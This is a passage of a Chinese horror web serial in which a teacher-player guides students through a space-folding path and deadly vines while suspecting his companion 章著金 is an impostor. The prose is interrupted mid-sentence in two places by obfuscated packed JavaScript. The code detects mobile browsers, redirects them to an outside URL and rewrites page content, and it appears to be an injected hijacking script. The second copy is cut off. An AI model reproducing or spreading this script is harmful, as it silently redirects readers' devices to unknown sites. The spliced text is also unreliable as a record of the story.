他能感觉到章知白——或者说章著金——的目光正饶有兴致地在他脸上逡巡,似乎很享受他此刻内心的惊涛骇浪。 官酉的心沉了沉。 不对! 这不该是章知白看他的眼神! 五年共生,无数次的日夜与共,早已在他们之间种下超越寻常的默契与羁绊。 他们可以互相挖苦,可以看对方在困境中狼狈,却绝不会……享受对方的恐惧! 更不会用这种纯粹旁观者、甚至带着一丝施虐意味的玩味目光,去欣赏他此刻的震惊与挣扎! 在分开的那段时间里,在章知白身上……究竟发生了什么? 那股“没有恶意”的力量,对他做了什么? 福尔马林混合着铁锈的阴冷气味,似乎比刚才更加浓郁粘稠,如同实质般缠绕在每个人的呼吸里,冰冷地钻进肺腑。 他的手指下意识地、更用力地摩挲了一下骨白教鞭的鞭柄。 鞭身依旧残留着之前驱散迷雾后的微微温热,但此刻,这温度却在以惊人的速度攀升。 它不再仅仅是温热,而是变得如同烧红的烙铁,滚烫地、凶猛地炙烤着他的掌心皮肉,带来尖锐的灼痛感。 这路有问题! 官酉的脑海中瞬间炸响警铃。 与此同时,《教师手册》第十二页冰冷而清晰的文字如同烙印般浮现在脑海: “教具拥有强烈的危机感知能力。” “当察觉到危险来临,教具温度升高。危险等级越高,教具温度越高。” 而他手中的教鞭,此刻烫得如同刚从地狱熔炉中取出!这危险等级……远超之前的迷雾! 是否需要再次挥鞭? 这个念头一闪而过,随即被他强行压下。 次数宝贵,绝不能浪费在试探上。 眼前的空间扭曲,更像是某种规则或陷阱,而非单纯的迷雾障碍。 刘楚恬压抑的哭声还在耳边回荡,学员们的恐慌如同涟漪般扩散开。 唯有章著金,依旧维持着洞悉一切又置身事外的玩味眼神,刺激着官酉紧绷的神经。 时间,在死寂和恐惧中,无声地流逝。 【抹杀倒计时11:27:22】 冰冷的提示音如同丧钟,再次在官酉脑海中敲响。 官酉深吸了一口那混合着死亡气息的冰冷空气,强行压下翻腾的思绪和几乎要溢出的焦躁。 他没有斥责刘楚恬的失态,也没有缓和其他人的恐惧。 而是缓缓转过身,冰冷的目光定格在章著金脸上,带着毫不掩饰的审视和冰冷的压力。 “你。”官酉的声音如同淬了冰,清晰地在死寂中响起,每一个字都带着沉重的分量,“知道什么?” 他的问题直指核心。 章著金那过于平静、甚至带着一丝兴奋的态度,太反常了。 这诡异的空间,这该死的进度,他是否知道得比其他人更多? 或者说,他是否就是“关键”? 章著金脸上的笑容加深了,他迎着官酉审视的目光,毫不退缩,甚至带着点挑衅地挑了挑眉。 他慢悠悠地将手从口袋里抽出,食指轻轻点了点自己的太阳穴,拖长了语调:“教授~您太高看我了。我只是觉得…” 他的桃花眼扫过那条诡异的刻痕,又飘向月光下森然的8号楼,声音里带着一丝诡异的蛊惑。 “…这路,比想象的有趣多了。说不定,得换个‘走’法?” 那“走”字,被他咬得格外重,充满了暗示。 官酉的眼神雾沉沉的。 他死死盯着章著金,仿佛要穿透那副玩世不恭的皮囊,看清里面到底是熟悉的灵魂,还是某个完全陌生的、危险的寄居者。 换个走法? 什么意思? 他们现在的“走”法,是在原地踏步?还是在错误的维度上徒劳消耗? 掌心的教鞭愈发滚烫,那灼痛感几乎要烧穿他的意志力,却也像警钟般疯狂敲打着他的思维。 看来猜对了! 章著金的暗示,教鞭的预警,都指向同一个结论——他们的移动方式出了问题!他们陷入了某种空间上的死循环,前进只是假象,消耗的却是宝贵的生命时间! 可这到底是为什么?他们遭遇了什么? 精神干扰?集体感知错乱?视觉欺骗?还是更高维度的空间折叠? “换个‘走法’。” 章著金那 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而身后刚经过的区域,气味似乎稍淡一些? 他豁然睁开眼,眸中精光暴涨。 气味在流动,在变化! 他们并非原地打转,而是在一个巨大的、扭曲的环里移动。 这条青石板小路的空间被折叠了,视觉的感知也被蒙蔽了,让他们误以为一直在向前,实则是在一个巨大的莫比乌斯环上徒劳奔跑。 而这扭曲空间中唯一的方向标是被他们忽略的气味。 官酉的脸上浮现出一丝笑容,他猛地转身,准备向身后的队伍下达闭眼跟随的指令—— 笑容瞬间凝固在嘴角。 身后,空空如也! 本该紧跟着他、因为恐惧而几乎贴在一起的学员们,此刻竟然离他足有十几米远! 他们像一群受惊的羔羊,挤在一起,脸上写满了更深的茫然和恐惧,正不知所措地看着他。 唯独章著金,站在他和学员们之间的路上,笑眯眯的朝他招手。 官酉的心猛地一沉,但随即又是一松。 松,是因为这诡异的“距离感”恰恰证明了他的判断——空间折叠恰巧扭曲了他们的视觉感知。 他看似只向前探索了几步,但在扭曲的维度里,他可能已经跨越了寻常意义上的十几米。 他找对了方向,这空间扭曲正在他的行动下被完全矫正。 嗅觉,确实是唯一的真实坐标! 沉,是因为他距离队伍太远了。 在这片诡异折叠、视觉完全沦为陷阱的空间里,危险无处不在。 而嗅觉破局的关键,似乎只有他和章著金洞悉。 可那个顶着章知白灵魂、名为章著金的存在,正噙着抹令人火大的玩味笑意,选择冷眼旁观,没有丝毫提醒的意图。 他必须立刻将他们带回来。 拖得越久,变数越大。 为了积分,为了都能活,这一鞭子的机会,他必须用了。 “所有人,闭眼,现在!” 官酉的厉喝如同炸雷,撕破了粘稠的死寂。 命令出口的刹那,他紧握骨白教鞭的手臂已如满弓般扬起—— 嗡——!!! 一声沉闷到撼动灵魂的震鸣骤然响起,阴沉压抑的世界,骤然被无情的白炽光芒彻底吞噬。 10. 中国结(10) 章著金小拇指摁下的瞬间,眼底掠过一丝令人心悸的诡光。 官酉的心如坠冰窖。 那眼神…… 章著金不是章知白! 绝对不是! 他想干什么?!这个和章知白有着一模一样的习惯、动作、神态、语气的怪物,究竟是谁?! “你——” 官酉刚吼出一个字,异变陡生! 四周沉寂的藤蔓仿佛瞬间接收到无声的指令,齐刷刷暴起。 它们以远超之前的速度,扭曲着,如同无数条暴怒的毒蟒,带着撕裂空气的尖啸,猛地扑向所有学员。 原本挤在一起的学员们瞬间被狂暴的藤蔓冲散、分割,陷入各自为战的绝境。 “噗通!” 周昌南第一个被逼到死角,后背狠狠撞上冰冷的墙壁,退路断绝。 眼前,十多根碗口粗、闪着油亮青黑色泽的藤蔓,如同攻城槌一般,直捣他面门。 速度之快,掀起一阵带腥的风。 “格老子的!来啊!老子剁碎你们喂狗!” 周昌南咒骂一声。 他双眼赤红,额角青筋暴起,壮硕的身体绷紧,手中沉重的砍刀带着破风声,不管不顾地劈向最前头那根藤蔓! 嗤啦! 刀锋狠狠嵌入油滑坚韧的表皮,撕开一道尺长的裂口。 噗——! 一股粘稠、散发着浓烈铁锈与腐败混合气味的暗红浆液了立刻喷射而出,劈头盖脸糊了周昌南一脸。 粘液糊住了他的眼睛,恶臭直冲鼻腔,让他胃里一阵翻江倒海。 藤蔓尖尖立刻剧烈地抽搐起来,断口处的植物纤维在疯狂痉挛,仿佛有无数根神经感知到这被切断的痛苦一般,疯狂挣扎。 “呃啊啊啊啊啊——” 粗壮的蔓身猛地后仰,发出尖锐到惨烈的哀嚎。 这惨烈的嚎叫声仿佛有魔力,瞬间穿透整个战场。 其他正在攻击的藤蔓攻势猛地一滞,扑向目标的蔓尖甚至下意识地回缩了半寸。 停了? 它们是在怕痛?! 官酉心头一震,捕捉到这丝异常。 他的目光瞬间钉死在那疯狂抽搐的断口上——那剧烈跳动的频率,那富有弹性的收缩状态…… 不对劲! 这绝不是植物纤维该有的反应! 这分明是……活的、活动性充足的动物神经才会有的痉挛反应! 周昌南也愣了一下,脸上的粘液还在往下淌。 “就,就这么简单?!” 周昌南干巴巴的话音未落—— 咔! 那根被他砍伤,在疯狂抽搐的藤蔓骤然定格。 裂开的伤口深处,无数细密黑色倒刺猛地长出,如同活物般死死咬住嵌入的刀身。 一股沛然莫御的狂暴力量立刻顺着刀柄传来。 “呃——!” 周昌南只觉虎口剧痛欲裂,鲜血迸溅,整条右臂被一股无法抗拒的巨力猛地向上拽起! 哐当! 砍刀脱手飞出,砸在不远处的地面上,发出沉闷的响声。 周昌南的武器,没了! 剩余的藤蔓见状,发出更加兴奋的嘶嘶声,再无顾忌地朝着失去武器的周昌南猛扑过去。 死亡的阴影瞬间将他完全笼罩! “老周!” 旁边一直冷静观察的秦狩瞬间倒吸一口凉气,他厉喝一声,反手将手里正闪烁着微弱电弧的甩棍砸向距离周昌南最近的两根藤蔓上。 噼啪!嗷呜——! 青紫色的电火花骤然一亮,藤蔓立刻发出一声混合着电流嘶鸣与痛楚的怪异嚎叫,触电般猛地回缩。 它们庞大的身躯失去平衡,重重砸在身后几条正猛扑上来的同类身上。 哗啦!砰! 几条藤蔓顿时如同被绊倒的巨蟒,跌撞成一团,在狭窄的角落里纠缠蠕动。 就是现在! 秦狩一个箭步冲上前去,左手死死扣住周昌南鲜血淋漓的胳膊,核心猛然发力,硬生生将壮硕的周昌南从那死亡夹角里拖拽出来。 周昌南踉跄着撞到秦狩身上,大口大口的喘着粗气。 他的脸上糊满的暗红粘液混着冷汗往下淌,眼神里还残留着劫后余生的惊悸。 官酉紧绷的神经终于为老周松了半口气。 但这口松掉的气瞬间又被更沉重的压力堵了回去。 他目光飞快扫过战场——惨烈! 夏铭护着刘楚恬在数根藤蔓的围攻下左支右绌,手臂上又添新伤。 童话被一根藤蔓缠住了脚踝,正拼命挣扎,脸色煞白。 更远处,其他几个学员也在苦苦支撑。 呼喝声、痛哼声、藤蔓的嘶鸣声混成一片绝望的交响曲。 整个局面,正如章著金所言,即将全军覆没! 就在这时—— “还不快跑!都愣着等死吗?!” 章著金那原本带着玩味的声音,此刻竟充满了焦急,在混乱中显得格外清晰。 “听我的!朝着墙根跑!贴紧墙壁!这些鬼东西身体太粗笨,在墙角转弯没那么灵活!千万别跟它们硬碰硬,躲开蔓尖!” 夏铭、秦狩等人似乎也发现了这一点。 他们对视一眼,几乎没有丝毫犹豫,立刻遵从。 “贴墙!快!”夏铭大吼一声,护着刘楚恬就向最近的墙角冲去。 其他学员也如梦初醒,纷纷咬牙摆脱纠缠,不顾一切地扑向墙壁边缘,试图利用狭窄的空间限制藤蔓的甩动。 官酉却心下一凛,他下意识的看向章著金,而后瞳孔一缩,一股足以冻结灵魂的寒意瞬间攫住了他的心脏。 那些张牙舞爪、疯狂扭动、肆意攻击的藤蔓,在本能的规避章著金! 哪怕蔓尖因为惯性不得不靠近章著金,都会在距离他身体半尺左右的地方,以一种极其不自然的僵硬姿态,猛地改变方向,狠狠抽打在旁边的空地上,溅起碎石! 藤蔓在害怕章著金! 它们从头到尾都在避开他! 他站立的地方,才是这个炼狱里唯一的安全区! 可章著金刚才都做了什么?! 他在把所有人推向了更致命的角落! 推向藤蔓攻击更灵活、更容易形成合围的死亡陷阱! “他妈的……你到底想干什么?!”官酉忍不住嘶吼着咆哮出声,“你要害死所有人吗!” 不能再等了!必须出手!必须救下所有人! 哪怕要浪费机会! 官酉眼神一厉,攥紧手中那截森白的骨鞭。 他猛地扬起骨鞭,就要抽下—— “教授。”章著金漫不经心的声音,轻飘飘地钻进官酉耳中,“补充条例的积分…您真不想要了?” 积分! 这两个字像一道冰冷的闪电,狠狠劈在官酉紧绷的神经上。 他挥鞭的动作瞬间僵在半空,脑中一片空白。 就是这一刹那的失神,一声凄厉到变调的惨叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838418|172298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撕裂空气。 “啊——!” 官酉猛地转头,瞳孔骤缩。 只见一根水桶粗的藤蔓如同巨蟒甩尾般卷住了边缘处的林惊秋,而后蔓身猛地发力,将他整个人狠狠抡上半空。 砰—— 一声沉闷的重物砸地声响起—— 林惊秋的身体被巨力狠狠掼在坚硬的地面上。 尘土混合着暗红的血液瞬间炸开。 他的身体以一个完全扭曲的角度瘫在那里,头颅不自然地歪向一边,鲜血迅速在身下蔓延开来,再无一丝声息。 所有人的动作都僵住了。 连疯狂的藤蔓都似乎为这瞬间的死亡凝滞了一瞬。 【检测到学员因意外死亡!】 【减员一人!当前剩余学员人数:8人】 【实习教师官酉当前积分:150】 【藤蔓攻击状态即将二次增强!请教授务必保护好剩余学员!】 官酉僵在原地,他看着林惊秋扭曲的尸体,又猛地看向章著金——那个始作俑者正站在阴影里,嘴角似乎噙着一丝若有若无、却令人心胆俱寒的弧度。 官酉的眼睛乌沉沉的。 他心里清楚,他的最后一丝侥幸,彻底粉碎。 章著金知道那条补充条例。 他不仅知道,还利用它人为制造了“意外死亡”的条件。 章著金也不是章知白,他是游戏制作团队配置的助教。 那个隐藏在学员之中,掌握着规则、甚至可能操控着部分危险的“助教”。 章著金究竟是怎么知道章知白的那些小习惯的?还在短时间内学的惟妙惟肖? 还有与他共生五年的章知白,究竟被藏去了哪儿? 呜——嗡——! 场中所有藤蔓突然发出一种低沉而狂暴的共鸣。 它们的表皮瞬间变得更加油亮青黑,甚至浮现出暗红色的、如同血管般的诡异纹路。 二次增强,开始了。 藤蔓再次扑向学员们,这一次,它们的攻击速度和力量陡然飙升。 所有人似乎都陷入了绝对的被动,原本还能互相支援的夏铭、秦狩等人,此刻自身难保,身上瞬间平添了数道深可见骨的伤口。 浓烈的血腥味弥漫开来,那些藤蔓似乎更加兴奋,蔓尖不断的抽搐着,啪嗒一下裂开,露出吸盘般的口器,疯狂地撕扯、吮吸着学员们的伤口,试图将他们彻底吞噬! 而章著金,那个始作俑者,此刻却像个局外人,依旧稳稳地站在那片藤蔓不敢侵犯的“安全区”里。 他脸上甚至没有了伪装用的笑容,只剩下纯粹的冷眼旁观。 官酉眼底一片冰冷。 这个怪物! 这个窃取章知白记忆与习惯的赝品! 他竟敢用那熟悉的一举一动,去行此等阴毒之事! 这不啻于将最珍视的记忆践踏在污泥中,是对章知白存在本身的亵渎与抹黑! 他必须弄清楚章著金和章知白之间的关系,弄清楚章知白究竟去了哪儿。 倘若……倘若章知白的一缕残魂仍被囚禁在这副躯壳的深渊之中…… 那么,他官酉必将不惜一切代价,将真正的章知白夺回! 但眼下的当务之急,是保证剩下8个学员活下去! 官酉深吸一口气,猛地探手伸向腰间那个不起眼的教师礼包,用力一抓—— 一只造型普通、通体黑色、喇叭口蒙着金属滤网的便携式“小蜜蜂”麦克风,瞬间出现在他手中。 11. 中国结(11) “都别躲了!往章著金的身边走!立刻!” 官酉的厉呵通过小蜜蜂骤然炸响,穿透藤蔓的嘶鸣与学员的痛呼,扎进每个人的耳膜。 【小蜜蜂(蓝色一星):自从当了老师以后,是不是总觉得嗓子干痒难受?喉咙里似乎总有东西咳不出来又咽不下去? 那是你还没使用系统游戏出品的超级神器——小蜜蜂! 用上它,不管你声音是大是小,需要传达的距离是远是近,都能很清楚的传达到每一位学员的耳边。】 【备注:该道具为被动道具,无使用次数限制。但道具具有唯一性,千万不要弄丢了,弄丢了可就补不回来啦!】 学员们被这突如其来的指令惊得动作一滞,趁着藤蔓攻击的间隙,几道仓惶的目光瞬间投向章著金的方向—— 瞳孔骤缩。 章著金正闲适地站在一片狼藉的战场中心,似笑非笑的看着他们。 他周围半径一米内,仿佛被无形的屏障隔绝一般,任凭四周狂暴的藤蔓如何摇头甩尾,都沾染不到分毫! 安全区! 绝对的安全区! 众人的眼神瞬间变得愤怒,一道道视线如同淬毒的针,狠狠刺向章著金那张过分漂亮的脸。 凭什么他能安然无恙?! 凭什么他们像待宰的羔羊?! 章著金却仿佛浑然未觉。 他甚至慢悠悠地掸了掸袖口并不存在的灰尘,才缓缓扭过头。 桃花眼瞄向官酉的方向,嘴角委屈地向下撇着,声音拖得又软又长,带着黏腻的撒娇意味。 “教授~~~” 他尾音打着旋儿,绵绵软软的,像裹了蜜糖。 “我就这么被您给卖啦?说好的我是您的‘脑干儿小宝贝’呢?” 章著金说着叹了口气,直挺挺的腰背半躬下,手捂上心口,眼神控诉:“您都不疼我了……真让人心寒呐。” 官酉面无表情的看着他,眼神冰冷,没有一丝波澜。 疼?他配吗? 这个顶着章知白皮囊、窃取章知白习惯的怪物。 他每一丝故作熟悉的姿态,每一句刻意模仿的腔调,都是对那个真正与他共生五年灵魂的亵渎。 没当场撕碎他那张蛊惑人心的脸,就已经是最大的“疼惜”了。 求生的本能压过了猜忌与愤怒。 学员们咬紧牙关,拖着伤痕累累的身体,爆发出最后的力量,拼命朝着章著金所在的位置冲撞、挤压过去。 然而,诡异的一幕发生了—— “嗡……” 随着刘立涛扑进章著金身边半米的安全区后,空气似乎发出一声低不可闻的震颤。 那道无形的“安全屏障”仿佛被戳破的气泡,骤然收缩。 原本只在章著金半尺外就惊惶弹开的藤蔓,试探性地将蔓尖又向前探了一寸、再一寸…… 那吸盘般的口器微微开合,贪婪地汲取着空气中骤然浓郁的血腥味和……某种“限制”被打破的气息? 安全区的范围,在以肉眼可见的速度缩小! 章著金脸上的委屈瞬间褪去,取而代之的是熟悉的轻佻笑容和审视。 他看着身边挤作一团、惊惶失措的学员,又抬眼望向官酉,wink一下。 “教授——”他拖长了调子,慢悠悠,好似在讨论一会儿要吃点什么,“再不来搭把手,我们可都要在这儿……变成花肥了哦?” 官酉不为所动,甚至觉得有一丝好笑。 这不正是眼前这位“助教”精心导演、甚至推波助澜想要得到的效果吗? 藤蔓的狂暴,学员的伤亡,积分的获取…… 剧本写得明明白白,演员演得明明白白。 现在倒来催促救火员控场了? 毫无演员精神,差评。 章著金见状,无奈叹息,脸上挂起一丝无奈,眸子却紧紧攫住官酉,拿出杀手锏:“好吧,您不想知道您那位‘室友’的下落吗?” 室友! 这两个字如同惊雷,在官酉脑中轰然炸响,骇人的气息瞬间爆发。 官酉死死盯着章著金,指关节捏得咯咯作响,几乎要捏碎掌中的小蜜蜂。 他怎么知道章知白?! 游戏制造团队不知道,客服咪呜咪呜也不知道。 章知白的存在,如同一个被完美擦除的异常数据点,一个不该被任何系统捕捉到的幽灵BUG! 除非……眼前这个模仿着章知白举止的“章著金”,根本就不是什么游戏制作团队安排的“助教”! 是张直白当时所感应的“拉扯”的力量本身! 是将章知白从他意识深处生生“拽走”的源头! 一股没来由的寒意瞬间浸透了官酉的骨髓。 “嘶啦——!!!” 刺耳的撕裂声爆响! 那道摇摇欲坠、被众人挤得只剩下薄薄一层的“安全屏障”,如同脆弱的肥皂泡,终于彻底破碎! 数根水桶粗细的狂暴藤蔓,带着积压已久的嗜血渴望,如同出闸的恶蛟,猛地从四面八方噬咬向中央的人群。 但这一次,它们的目标极其明确——是那个刚刚还立于安全中心、此刻却因屏障消失而首当其冲的章著金! 蔓尖裂开,露出布满螺旋利齿的吸盘口器,腥臭的粘液如同涎水般滴落,直扑章著金那张过分精致的脸! 章著金的脸色周斌,脸上的玩味和审视如同潮水般褪去,桃花眼里,瞬间盈满了纯粹的、令人心碎的惊恐和无助。 他像是被吓傻了,身体僵硬地向后微仰,漂亮的脸蛋血色尽失,嘴唇微微张开,发出一声短促到几乎听不见的抽气。 “呃!” 那声音,是章知白在极度紧张或意外时才会有的、短促而压抑的喉音。 官酉的瞳孔骤然收缩成针尖。 他的理智在疯狂尖叫“他是假的!是模仿!是陷阱!”,可五年来共生形成的、近乎本能的保护欲却如同被点燃的引信,轰然炸开。 身体比思维更快一步做出了反应—— “滚开!” 官酉爆喝一声,几乎是本能地闭上眼,嗅闻着腥气稀薄的方向,猛踏出一步。 右手一直紧握的骨白教鞭被他以开山裂石般的狂暴姿态,狠狠扬起! 嗡——! 鞭身瞬间爆发出刺 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他甚至来不及思考,左手猛地探出,一把攥住了章著金纤细冰冷的手腕,粗暴地将他整个人狠狠拽向自己身后。 “躲后面去!”官酉的声音嘶哑冰冷,头也没回,视线死死锁定了因受创而短暂停滞、但更加狂暴的藤蔓群。 藤蔓似乎在忌惮官酉,层层叠叠的团聚在一起,像一屏昏天黑地的屏风。 裹挟着凶煞的恶意,却不敢擅动。 被他护在身后的章著金,踉跄了一下才站稳。 他低头看着自己手腕上被官酉攥出的清晰红痕,又抬眼望向官酉紧绷如磐石的后背。 漂亮的桃花眼里,惊恐如同潮水般迅速退去,取而代之的是一种极其复杂的的光芒——有玩味,有审视,有一丝计谋得逞的隐秘得意。 而眼底深处,似乎还掠过一丝连他自己都未曾察觉的……怔忪? 他歪了歪头,指尖轻轻拂过被官酉攥过的手腕,低笑了一声。 “哎呀呀……”章著金的声音恢复了那种轻飘飘的调子,带着点劫后余生的慵懒,“教授,我不该怀疑你的。您这手劲儿……确实够‘疼’人的。” 他刻意咬重了“疼”字,尾音柔的像把鬃毛梳,轻轻梳过官酉的心脏。 官酉握着骨鞭柄的手,微不可查的一顿,耳根通红。 真不愧是完全复刻章知白的一切,连撩人的语气都维持的一模一样。 “不过,多谢救命之恩啦。” 章著金轻拍了拍官酉的肩膀。 “放心,作为报答……您那位‘室友’的下落,我一定会……好好想想的。” 官酉眼神骤冷,耳根的红晕瞬间褪尽。 靠!居然真把他当成章知白护着了! 他微微侧头,目光森冷地掠过章著金的脸侧,语气阴寒刺骨。 “用不着你费心。” “好好活着,我自会亲自来探探,你到底知不知道他的下落。” 12. 中国结(12) 【教师专属安全领域已展开,危险解除,藤蔓沉睡。】 提示音刚落,那些刚刚还狂暴嗜血,如同巨蟒般扭动嘶鸣的藤蔓,突然僵直不动了。 紧接着,它们庞大的身躯以肉眼可见的速度干瘪、枯萎,仿佛被无形的巨手猛地抽走了所有活力一般。 油亮青黑的表皮迅速失去光泽,变得灰败、皲裂。 暗红的纹路黯淡下去,最终化为最原始的暗褐色。 “噼啪……咔啦……” 枯枝断裂的脆响此起彼伏。 所有藤蔓,无论粗细大小,都在瞬间失去了支撑,如同被烈日暴晒后的朽木,纷纷崩解、断裂,化作漫天簌簌落下的灰黑色粉末。 前一秒还血肉横飞的炼狱,下一秒只剩下一片死寂的灰烬之雨,以及劫后余生、惊魂未定的八名学员。 “结...结束了?”刘楚恬瘫软在地,声音带着劫后余生的哭腔。 夏铭似乎也很惊讶,但她迅速收敛了情绪,目光锐利地扫过一地狼藉的碎末,随即落在站在众人中心的官酉身上。 她眸中精光一闪,若有所思——这突然停止攻击、瞬间碎成齑粉的藤蔓,与他有绝对的关联! 可是…… 夏铭的眉头几不可察地蹙起,心底的困惑骤生。 她怎么没听说过,这位在学院里以恋手癖“闻名”的老师,有如此诡异而强大的能力? 官酉没注意到夏铭的神色和心思,他眉头紧锁,自己的心头也疑云密布。 安全领域已展开? 他似乎并没有做什么特别的举动? 还是说,当他以教师的身份出现在学员的四周,就意味着属于他作为“教师”的领域便展开了? 无数疑问瞬间涌上心头,但官酉强行将它们压了下去。 这里不是解惑之地。 空气中残留的诡异气息和满地不详的灰烬都在提醒他:危机远未解除,那些藤蔓随时可能卷土重来。 他必须立刻带剩下的人离开。 官酉深吸一口气,斩钉截铁的声音通过小蜜蜂清晰地刺入每个人的耳膜: “所有人,立刻闭上眼!放弃视觉!集中精神,感受气息变化的方向!” “只靠听觉跟上我,一步不许落下!” 命令下达后,他的目光落在不知何时已悄然与他并肩而立的章著金身上,声音压得极低,带着浓浓的警告气息:“章著金,别、耍、花、招。” 章著金眨眨眼,漂亮的脸蛋瞬间切换上一副被误解的委屈表情,语气无辜至极:“教授,我在您眼里,就这么……不可靠吗?” 官酉冷哼一声,不再多言,率先转身,大步流星地朝着月光下那座散发着不祥气息的8号楼走去。 “跟上!快!” 秦狩第一个反应过来,搀扶起受伤不轻的周昌南,嘶声催促。 夏铭拉起刘楚恬,童话等人也咬紧牙关,拖着伤痕累累的身体,跌跌撞撞地跟上官酉的背影。 章著金再一次落在最后,他慢悠悠地拍打着西装上沾染的灰烬,回头看了眼铺满碎屑的泥土地,脸上的笑容更深了。 脚下青石板路的“空间扭曲”似乎随着藤蔓的枯死、视觉的屏蔽彻底消失了。 一行人的每一步都踏在了实处。 距离在缩短,那股混合着福尔马林、铁锈和淡淡腐败甜腥的气味也愈发浓烈,直冲鼻腔。 终于,官酉第一个抵达门前。 那并非寻常门户,材质非金非木,触手冰凉刺骨。 门扇上遍布的阴刻的条状花纹——扭曲、纠缠、盘绕在一起。 每一道都雕刻得纤毫毕现,沟回清晰。 官酉甚至能在上面感受到那种生物组织特有的、微微隆起的质感,仿佛下一秒就会蠕动起来。 它们以一种病态的方式拱卫着门扉的核心,散发着难以言喻的活物气息,却又死寂得如同冰冷的标本。 官酉的呼吸瞬间一窒,一股源自本能的强烈不安攫住了他。 就好像他凝视的根本不是一扇门,而是某个庞大生物裸露在外,彻底僵死的…… 大脑。 官酉倒吸一口凉气,就要刷卡的手瞬间顿住了。 “教授。”章著金懒洋洋的声音从人群最后飘了过来。 他好整以暇地举起了右手,跟个等待老师指令的小学生似的,表情无辜又纯良,“天亮的时间是不是马上就要到了?” “咱们不进去吗?” 官酉立刻看向自己的手腕,手表的计时指向【05:53:58】。 四十分钟! 他们竟然在这条看似短暂的路上,耗费了接近四十分钟?! 这怎么可能?! 他明明感觉只走了几分钟! 脚步的节奏,空气的流动,甚至身后学员压抑的喘息和拖沓的脚步声……所有感官反馈都告诉他,时间流逝是正常的,他的生物钟也没有发出任何警报。 看来不仅仅是空间被扭曲了……连时间的感知和流逝,在这里都变成了不可靠的陷阱。 冷汗瞬间浸湿了官酉的后背。 这还仅仅是抵达门口的路,就已经出现了时间空间双重篡改,那么在这座8号楼里,还有什么是不可能发生的? “教授?”章著金又懒洋洋的叫了一声。 “进!” 官酉的回答简短而有力,他深吸一口气,毫不犹豫地从教师套装中抽出那张冰冷的金属邀请函。 “滴——” 邀请函接触到大门的瞬间,发出一声清脆的电子音。 厚重的门扉无声地向内滑开,一股更加浓郁、冰冷刺骨的混合气味扑面而来。 门内并非预想中的黑暗,而是笼罩在一片昏黄、摇曳不定的光芒中,仿佛无数盏老旧的煤油灯在共同燃烧。 【优秀的教师敢于人先,敢于人后。】 【触发突发事件:为你的学员断后吧!】 【呀!这是一座刚刚开启的教学楼哎!看起来很安全!可谁知道这安全会存在多久呢? 让你的学员先进去吧!累了一路,他们更需要休息呀!】 【任务奖励:15积分】 官酉的睫毛几不可察地颤动了一下。 好简单的任务。 如果说在藤蔓暴起之前,这群学员对他这个“教授”还心存疑虑、甚至可能对他的指令阳奉阴违的话…… 那么,经过刚才那场炼狱般的藤蔓之战,亲眼目睹了他的骨辫三抽后,藤蔓化为灰烬的震撼一幕后—— 他可以百分百保证,此刻,无论他说什么,听起来有多离谱,这群刚从鬼门关爬回来的学员都会做。 “快!刷函!进去!”官酉侧身让开,声音低沉而急促,目光锐利地扫视着身后跟上来的学员。 学员们早已被吓破了胆,此刻对官酉的命令几乎奉若神明。秦狩第一个冲到门边,将自己的邀请函按在门侧一个不起眼的凹槽上。 “滴——学员秦狩,身份确认。” “滴——学员刘楚恬,身份确认。” “滴——学员夏铭,身份确认。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853132|172298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 一个接一个,学员们争先恐后地刷过邀请函,踉跄着冲入门内那昏黄的光晕之中,仿佛逃离身后那片刚刚吞噬了林惊秋的恐怖青石板路。 轮到章著金时,他慢条斯理地将自己的邀请函按上去。 “滴——学员章著金,身份确认。” 他抬脚跨入门槛,在即将完全没入光晕前,忽然回头,对着门外的官酉勾起一个意味深长的笑容:“教授,您不进来吗?” 【滴滴滴——】 【真是个优秀的教师苗子!突发任务顺利完成!】 【积分到账中——积分已到账!】 【累计积分:165】 【锵锵锵锵!现在,请实习教师回头,为你死去的学员默哀——】 官酉心头猛地一跳,他几乎是下意识地听从提示音的安排,猛地回头望向青石板路的方向—— 月光惨白,清晰地映照着林惊秋那具扭曲瘫倒、被暗红血液浸透的尸体。就在官酉目光触及的刹那! 噗嗤! 林惊秋身下的土地毫无征兆地塌陷下去,瞬间形成一个直径约莫两米的漆黑大坑。 那具毫无生气的尸体毫无声息地向下坠落,眨眼间消失在坑洞的黑暗中。 紧接着,坑洞被填平了,一抹极其柔嫩、几乎透明的翠绿嫩芽,以肉眼可见的速度破土而出。 它只有寸许高,细弱的茎秆在夜风中微微颤抖,顶端两片小小的、近乎圆形的叶片舒展开来,在惨白的月光下,散发着一种诡异而充满生机的微光。 官酉瞳孔骤缩,一股寒意从脊椎骨直冲头顶。 青石板路在最后居然还给他留了一个惊喜——泥土地会“吃人”。 腰间的小蜜蜂忽然开始发烫,官酉心里明白,他现在必须进入教学楼,和已经进去的学员们汇合了。 他深吸一口气猛地转回头,一步踏入教学楼大门。 厚重的木门在他身后轰然关闭。 “砰!” 最后一丝外界的光线和声音被彻底隔绝。 门内的世界,寂静无声。 官酉迅速环顾四周—— 这是一间极其空旷、高耸的大厅,穹顶隐没在昏黄光线无法触及的黑暗中。 墙壁是斑驳的深色石料,正对面的墙上挂着早已褪色模糊的巨幅挂毯,上面描绘着一些难以辨认的、扭曲的人形与植物纠缠的图案。 空气冰冷、滞重,福尔马林混合着尘埃和木头腐朽的味道浓郁得几乎让人窒息。 忽然,官酉看向大厅中央。 